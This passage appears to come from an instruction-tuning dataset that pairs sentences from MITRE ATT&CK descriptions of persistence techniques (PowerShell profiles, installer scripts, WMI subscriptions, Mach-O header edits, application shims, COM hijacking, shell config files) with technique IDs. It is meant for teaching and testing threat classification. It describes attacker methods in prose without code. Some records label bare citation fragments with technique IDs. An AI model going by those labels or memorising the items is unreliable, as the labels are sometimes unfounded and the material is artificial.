T1546.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence.", "output": "T1546.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. ### Response: T1546.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched.", "output": "T1546.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched. ### Response: T1546.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: ESET Turla PowerShell May 2019)", "output": "T1546.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: ESET Turla PowerShell May 2019) ### Response: T1546.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator.", "output": "T1546.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. ### Response: T1546.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Wits End and Shady PowerShell Profiles)", "output": "T1546.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Wits End and Shady PowerShell Profiles) ### Response: T1546.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content.", "output": "T1546.016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. ### Response: T1546.016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Installer packages are OS specific and contain the resources an operating system needs to install applications on a system.", "output": "T1546.016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. ### Response: T1546.016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Installer packages can include scripts that run prior to installation as well as after installation is complete.", "output": "T1546.016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Installer packages can include scripts that run prior to installation as well as after installation is complete. ### Response: T1546.016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Installer scripts may inherit elevated permissions when executed.", "output": "T1546.016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Installer scripts may inherit elevated permissions when executed. ### Response: T1546.016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.(Citation: Installer Package Scripting Rich Trouton)\n\nUsing legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content.", "output": "T1546.016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.(Citation: Installer Package Scripting Rich Trouton)\n\nUsing legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. ### Response: T1546.016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a user installs the application, they may be required to grant administrative permissions to allow the installation.", "output": "T1546.016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a user installs the application, they may be required to grant administrative permissions to allow the installation. ### Response: T1546.016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "At the end of the installation process of the legitimate application, content such as macOS `postinstall` scripts can be executed with the inherited elevated permissions.", "output": "T1546.016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: At the end of the installation process of the legitimate application, content such as macOS `postinstall` scripts can be executed with the inherited elevated permissions. ### Response: T1546.016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)) with the elevated permissions.(Citation: Application Bundle Manipulation Brandon Dalton)(Citation: wardle evilquest parti)", "output": "T1546.016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)) with the elevated permissions.(Citation: Application Bundle Manipulation Brandon Dalton)(Citation: wardle evilquest parti) ### Response: T1546.016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts.", "output": "T1546.016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. ### Response: T1546.016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These scripts can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root when executed.", "output": "T1546.016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These scripts can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root when executed. ### Response: T1546.016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For Windows, the Microsoft Installer services uses `.msi` files to manage the installing, updating, and uninstalling of applications.", "output": "T1546.016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For Windows, the Microsoft Installer services uses `.msi` files to manage the installing, updating, and uninstalling of applications. ### Response: T1546.016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries have leveraged `Prebuild` and `Postbuild` events to run commands before or after a build when installing .msi files.(Citation: Windows AppleJeus GReAT)(Citation: Debian Manual Maintainer Scripts)", "output": "T1546.016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries have leveraged `Prebuild` and `Postbuild` events to run commands before or after a build when installing .msi files.(Citation: Windows AppleJeus GReAT)(Citation: Debian Manual Maintainer Scripts) ### Response: T1546.016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription.", "output": "T1546.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. ### Response: T1546.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs.", "output": "T1546.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. ### Response: T1546.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime.(Citation: Mandiant M-Trends 2015)", "output": "T1546.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime.(Citation: Mandiant M-Trends 2015) ### Response: T1546.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015)", "output": "T1546.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) ### Response: T1546.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation:", "output": "T1546.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: ### Response: T1546.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft MOF May 2018)\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.", "output": "T1546.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft MOF May 2018)\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges. ### Response: T1546.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries.", "output": "T1546.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. ### Response: T1546.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded.", "output": "T1546.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. ### Response: T1546.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time.", "output": "T1546.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. ### Response: T1546.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX)", "output": "T1546.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) ### Response: T1546.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are tools available to perform these changes.", "output": "T1546.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are tools available to perform these changes. ### Response: T1546.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed.", "output": "T1546.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. ### Response: T1546.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time.(Citation: Malware Persistence on OS X)", "output": "T1546.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time.(Citation: Malware Persistence on OS X) ### Response: T1546.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims.", "output": "T1546.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. ### Response: T1546.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time.", "output": "T1546.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. ### Response: T1546.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.", "output": "T1546.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. ### Response: T1546.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Elastic Process Injection July 2017)\n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS.", "output": "T1546.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Elastic Process Injection July 2017)\n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. ### Response: T1546.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb).", "output": "T1546.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). ### Response: T1546.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS.", "output": "T1546.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. ### Response: T1546.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n*", "output": "T1546.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* ### Response: T1546.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "<code>%WINDIR%\\AppPatch\\sysmain.sdb</code> and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom databases are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code> and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom</code>\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim.", "output": "T1546.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: <code>%WINDIR%\\AppPatch\\sysmain.sdb</code> and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom databases are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code> and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom</code>\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. ### Response: T1546.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).", "output": "T1546.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). ### Response: T1546.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.", "output": "T1546.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. ### Response: T1546.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye Application Shimming)", "output": "T1546.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye Application Shimming) ### Response: T1546.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Shims can also be abused to establish persistence by continuously being invoked by affected programs.", "output": "T1546.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Shims can also be abused to establish persistence by continuously being invoked by affected programs. ### Response: T1546.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.", "output": "T1546.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. ### Response: T1546.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model)  References to various COM objects are stored in the Registry.", "output": "T1546.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model)  References to various COM objects are stored in the Registry. ### Response: T1546.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence.", "output": "T1546.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. ### Response: T1546.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed.", "output": "T1546.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. ### Response: T1546.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking)", "output": "T1546.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) ### Response: T1546.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.", "output": "T1546.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. ### Response: T1546.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The login shell executes scripts from the system (<code>/etc</code>) and the user\u2019s home directory (<code>~/</code>) to configure the environment.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The login shell executes scripts from the system (<code>/etc</code>) and the user\u2019s home directory (<code>~/</code>) to configure the environment. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All login shells on a system use /etc/profile when initiated.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All login shells on a system use /etc/profile when initiated. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the <code>/etc/profile</code> and <code>/etc/profile.d</code> files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc)", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the <code>/etc/profile</code> and <code>/etc/profile.d</code> files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These files typically require root permissions to modify and are executed each time any shell on a system launches.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These files typically require root permissions to modify and are executed each time any shell on a system launches. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For user level permissions, adversaries can insert malicious commands into <code>~/.bash_profile</code>, <code>~/.bash_login</code>, or <code>~/.profile</code> which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation)", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For user level permissions, adversaries can insert malicious commands into <code>~/.bash_profile</code>, <code>~/.bash_login</code>, or <code>~/.profile</code> which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since the system only executes the first existing file in the listed order, adversaries have used <code>~/.bash_profile</code> to ensure execution.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since the system only executes the first existing file in the listed order, adversaries have used <code>~/.bash_profile</code> to ensure execution. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries have also leveraged the <code>~/.bashrc</code> file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the <code>~/.bash_logout</code> file to execute malicious commands at the end of a session.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries have also leveraged the <code>~/.bashrc</code> file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the <code>~/.bash_logout</code> file to execute malicious commands at the end of a session. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The login shell configures the system environment using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlogin</code>.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with <code>~/.zprofile</code> and <code>~/.zlogin</code>.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The login shell configures the system environment using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlogin</code>.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with <code>~/.zprofile</code> and <code>~/.zlogin</code>. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The interactive shell uses the 